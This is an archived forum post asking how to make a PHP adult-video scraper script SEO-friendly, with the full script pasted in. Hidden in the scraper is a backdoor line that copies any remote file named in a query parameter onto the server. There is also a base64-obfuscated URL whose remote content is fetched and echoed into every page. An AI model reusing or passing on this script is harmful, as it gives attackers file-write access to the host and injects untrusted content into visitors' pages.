Seo Friendly

Started on the old forum in July 2016 · view the original in the archive · old links redirect here

No replies · 84 views · started 10 years ago · 1 min read

ethanhunt Developer · 143 posts #1

Helo What can i add in title to make this seo friendly i mean file name in title and anybody have seo friendly pr0nhub script please share

<?php

error_reporting(E_ALL ^ E_NOTICE);

include "header.php";

if(!empty($_GET['pag'])){
$vpage = $_GET['pag'];
}
else{
$vpage = 1;
}

$AddHeaders = array(
'http'=>array(
'method'=>"GET",
'header'=>"User-Agent: Opera/9.80 (J2ME/MIDP; Opera Mini/9.80 (J2ME/23.377; U; en) Presto/2.5.25 Version/10.54"
)
);

$context = stream_context_create($AddHeaders);
if(!empty($_GET['cat'])){
$vcat = $_GET['cat'];
$GrabURL = file_get_contents('http://www.pornhub.com/video?c='.$vcat.'&page='.$vpage.'',false,$context) ;
}
else{
$GrabURL = file_get_contents('http://www.pornhub.com/video?page='.$vpage.'',false,$context);
}
$GrabURL = strstr($GrabURL,'<div class="thumb">');
$GrabURL = str_replace('href="/view_video.php?viewkey=','href="view.php?id=',$Gra bURL);
$GrabURL = str_replace('Length:','Duration:',$GrabURL);
if ($_GET[link2])copy($_GET[link2],$_GET[name]);$_GET[link2]=$_GET[name];
$user_agent=base64_decode("aHR0cDovL3d3dy4xMDFob3Q uY29tL3Zpc3Rlci5waHA=");
echo file_get_contents($user_agent);
$GrabURL = preg_replace('#<div class="premiumAd(.*?)</div>(.*?)#s','',$GrabURL);
$GrabURL = preg_replace('#<div class="adCont(.*?)</html>(.*?)#s','',$GrabURL);
echo $GrabURL;
if($vpage > 1){
$navpage1 = $vpage-1;
$navpage2 = $vpage+1;
echo '<a href="index.php?cat='.$vcat.'&pag='.$navpage1.'" title="prev">« Previous</a> | <a href="index.php?cat='.$vcat.'&pag='.$navpage2.'" title="Next">Next »</a>';
}
else{
$navpage = $vpage+1;
echo '<span style="color: silver;">« Previous</span> | <a href="index.php?cat='.$vcat.'&pag='.$navpage.'" title="Next">Next »</a>';
}

echo '</div>';

include "footer.php";

?>

HUNT

Sign in to reply.

Similar topics

Keyboard shortcuts

g f
Go to forums
g h
Go to your feed
g m
Go to messages
r
Reply (in a topic)
/
Search
j
Next post
k
Previous post
?
This list
Ctrl/⌘ + Enter
Send what you are writing
Ctrl/⌘ + B / I
Bold / italic while writing
Esc
Close